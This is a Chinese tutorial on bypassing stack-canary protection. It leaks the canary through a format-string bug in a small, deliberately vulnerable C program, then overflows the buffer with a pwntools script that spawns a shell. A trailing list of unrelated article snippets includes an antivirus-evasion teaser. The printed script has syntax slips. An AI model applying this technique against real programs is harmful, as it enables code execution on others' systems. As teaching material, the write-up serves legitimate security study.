借助格式化输出过canary保护

0x01 canary保护机制

栈溢出保护是一种缓冲区溢出攻击缓解手段,当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后,函数开始执行的时候会先往栈里插入cookie信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。

0x02 溢出例子

整体思路:

找到溢出点,用我们的shellcode去覆盖栈里面的数据,但添加了canary保护,直接覆盖会把canary也覆盖,导致程序不能执行,所以我们要找出canary,在覆盖的时候,把canary放在payload里,canary覆盖canary,这样保证canary没有被覆盖,其他栈数据被覆盖,就可以过canary保护了。

程序:

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[16];read(0, str, 64);printf(str);read(0, str, 64);
}
int main()
{func();return 0;
}

利用栈溢出去执行exploit程序,编译:

gcc -no-pie -fstack-protector  -m32 -o 5.exe 5.c

启动了栈保护
在这里插入图片描述
在func处下个断点
在这里插入图片描述
我们看到这个汇编语句,这里就是插入canary,将canary信息放到eax中,然后压入栈中,这是在调用第一个read函数前插入的
在这里插入图片描述
我们来看看eax值和压入的canary信息在哪里:0xffffcffc
在这里插入图片描述
记录一下read函数把读取的内容放在那个地址:0xffffcfec
在这里插入图片描述
我们看一下buf内容和canary地址(0x2fe2d00)相差多少,buf再加上16个字节就到canary的地址了。
在这里插入图片描述
查看exploit地址 0x80484cb
在这里插入图片描述
查看func的ret语句,此时esp的值:0x8048554,地址为0xffffd00c,和canary相差16个字节

在这里插入图片描述
我们要利用read栈溢出,去执行exploit函数,所以我们要覆盖0xffffd00c这个地址数据,内容更换为exploit首地址,但是加了canary保护,我们在覆盖的时候不能覆盖掉canary信息。所以我们在覆盖栈内数据的时候,canary还覆盖成canary信息就行了。

但每次程序执行canary的值都不会相同,这又头疼了,这个时候我们的格式化输出就有用处了。我们可以将canary输出来,然后动态加到我们payload中,这样保证每次都是那个canary

我们可以找到canary距栈顶的距离,这个是不会变的,然后用格式化输出就行了。
在这里插入图片描述
利用read将printf要的数据输进去,内容:"%11$08x",这样printf就会打印距栈顶11个,就是44个byte,然后打印8个16进制数据,就是canary信息了

poc:

from pwn import *
p=process("./5.exe")
p.sendline("%11$08x")
canary=p.recv()[:8]
print(canary)
canary=canary.decode("hex")[::-1]	//将canary转成16进制
coffset=4*4							//read函数距canary16个byte
roffset=3*4
raddr=p32(0x80484cb)		//exploit地址
payload=coffset*'a'+canary+roffset*'a'+raddrp.sendline(payload)p.interactive()

执行,成功
在这里插入图片描述

0x04 总结

加了canary保护,在调用函数前,会加一个canary信息到栈里面,如果我们利用栈溢出覆盖了栈里面的数据,覆盖了这个canary信息,程序就不能执行。并且每次程序执行,这个canary信息都是不同的,所以我们不能静态的加入到我们的payload里。

  1. 找到exploit函数地址
  2. 找到buf首地址距canary地址的距离,就是有溢出的地方,在栈里存放数据的首地址,与canary的距离
  3. 计算ret语句需要的栈数据与canary距离
  4. 当执行到格式化输出语句时,查看当前栈里数据,计算canary与栈顶的距离(每4byte为1)
  5. 修改poc程序,执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380110.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

什么叫灰度图

任何颜色都有红、绿、蓝三原色组成&#xff0c;假如原来某点的颜色为RGB(R&#xff0c;G&#xff0c;B)&#xff0c;那么&#xff0c;我们可以通过下面几种方法&#xff0c;将其转换为灰度&#xff1a; 1.浮点算法&#xff1a;GrayR*0.3G*0.59B*0.11 2.整数方法&#xff1a;Gra…

各抓包软件的之间差异_系统软件和应用程序软件之间的差异

各抓包软件的之间差异什么是软件&#xff1f; (What is Software?) Software is referred to as a set of programs that are designed to perform a well-defined function. A program is a particular sequence of instructions written to solve a particular problem. 软件…

输入一字符串,统计其中有多少个单词(单词之间用空格分隔)(java)

import java.util.*; class Example3{public static void main(String args[]){Scanner sc new Scanner(System.in);String s sc.nextLine();//这里的sc.nextLine&#xff08;&#xff09;空格也会记数&#xff1b;StringTokenizer st new StringTokenizer(s," ")…

为何苦命干活的人成不了专家?

所谓熟能生巧&#xff0c;但离专家却有一个巨大的鸿沟&#xff0c;在农田干活的农民怎么也成不了水稻专家&#xff0c;推广之&#xff0c;那些在本职工作上勤勤恳恳的人&#xff0c;在业务上总有一个不可冲破的瓶颈。 这种现象非常普遍&#xff0c;这就是为什么很多人很勤奋&am…

今天发布一个新网站www.heijidi.com

新网站发布了&#xff0c;欢迎访问&#xff0c;关于国产机的 网站 www.heijidi.com 转载于:https://www.cnblogs.com/liugod/archive/2008/03/26/1122753.html

ret2shellcdoe

ret2shellcode的关键是找到一个缓冲区&#xff0c;这个缓冲区是可读写写可执行的&#xff0c;我们要想办法把我们的shellcdoe放到这个缓冲区&#xff0c;然后跳转到我们的shellcode处执行。 例子&#xff1a; #include <stdio.h> #include <string.h> char str1[…

stl取出字符串中的字符_从C ++ STL中的字符串访问字符元素

stl取出字符串中的字符字符串作为数据类型 (String as datatype) In C, we know string basically a character array terminated by \0. Thus to operate with the string we define character array. But in C, the standard library gives us the facility to use the strin…

Object类的hashCode()方法

public class day11 {public static void main(String[] args) {Object obj1 new Object();int hashCode obj1.hashCode();System.out.println(hashCode);}} hashCode public int hashCode()返回该对象的哈希码值。支持此方法是为了提高哈希表&#xff08;例如 java.util.Ha…

调整Tomcat上的参数提高性能[转]

Webtop Performance Test w/ Tomcat(调整Tomcat上的参数提高性能) Login several users with one second between each login. After the 25th user, the users begin to experience poor performance, to the point where some users are receiving “Page cannot be display…

RecordSet中的open完全的语法

RecordSet中的open完全的语法是:SecordSet.Open Source,ActiveConnection,CursorType,LockType,Options例如&#xff1a; rs.open sql,conn,1,3CursorTypeadOpenForwardOnly 0 默认游标类型, 为打开向前游标, 只能在记录集中向前移动。adOpenKeyset 1 打开键集类型的游标, 可以…

用筛选法求100之内的素数

#include <stdio.h> int main() {int i ,j ,a[100];//定义一个数组存放1~100&#xff1b;for(i2; i<100; i)//由于1既不是素数也不是质素&#xff0c;所以不用考虑1&#xff0c;直接从2开始&#xff1b;{a[i]i;//以次赋值&#xff0c;2~100&#xff1b;for(j2; j<i…

远控免杀专题(20)-GreatSCT免杀

转载&#xff1a;https://mp.weixin.qq.com/s/s9DFRIgpvpE-_MneO0B_FQ 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/mete…

Java LinkedList对象的get(int index)方法与示例

LinkedList对象的get(int索引)方法 (LinkedList Object get(int index) method) This method is available in package java.util.LinkedList.get(int index). 软件包java.util.LinkedList.get(int index)中提供了此方法。 This method is used to retrieve an object or eleme…

Sql养成一个好习惯是一笔财富

我们做软件开发的&#xff0c;大部分人都离不开跟数据库打交道&#xff0c;特别是erp开发的&#xff0c;跟数据库打交道更是频繁&#xff0c;存储过程动不动就是上千行&#xff0c;如果数据量大&#xff0c;人员流动大&#xff0c;那么我么还能保证下一段时间系统还能流畅的运行…

java上传类

publicString doFormFile(FormFile file, String dir) { try { File f new File(dir); if (!f.exists()) { f.mkdir();//如果路径不存在&#xff0c;创建 } InputStream in file.getInputStream(); …

C——用冒泡排序法、选择排序法对随机输入的10个整数从小到大排序

//冒泡排序法 #include <stdio.h> int main() {int i,j,t,a[10];for(i0;i<10;i){scanf("%d",&a[i]);}for(i0;i<9;i)//10个数&#xff0c;进行9次循环&#xff0c;进行9趟比较{for(j0;j<9-i;j)//在每一趟比较中&#xff0c;进行9-i次比较{if(a[j]&…

远控免杀专题(21)-HERCULES免杀

转载&#xff1a;https://mp.weixin.qq.com/s/Rkr9lixzL4tiL89r10ndig 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/mete…

PHP Cookbook读书笔记 – 第16章互联网服务

发送电子邮件 书中主要是以PEAR中的邮件发送类&#xff08;Mail&#xff09;来讲解的&#xff08;关于如何在WIN系统下安装PEAR可以参考WIN下成功安装PEAR&#xff09;。PEAR的MAIL类可以通过3种方式来发送电子邮件&#xff1a; 通过PHP内部的mail函数来发送 通过sendmail程序来…

Python | 使用matplotlib.pyplot创建条形图

Problem statement: Using matplotlib.pyplot library in python draw a bar graph with two values for comparison, using different colors. 问题陈述&#xff1a;在python中使用matplotlib.pyplot库使用不同的颜色绘制带有两个值的条形图以进行比较。 Program: 程序&#…

SQLSERVER内核架构剖析

我们做管理软件的&#xff0c;主要核心就在数据存储管理上。所以数据库设计是我们的重中之重。为了让我们的管理软件能够稳定、可扩展、性能优秀、可跟踪排错、可升级部署、可插件运行&#xff0c;我们往往研发自己的管理软件开发平台。我们总是希望去学习别人的开发平台&#…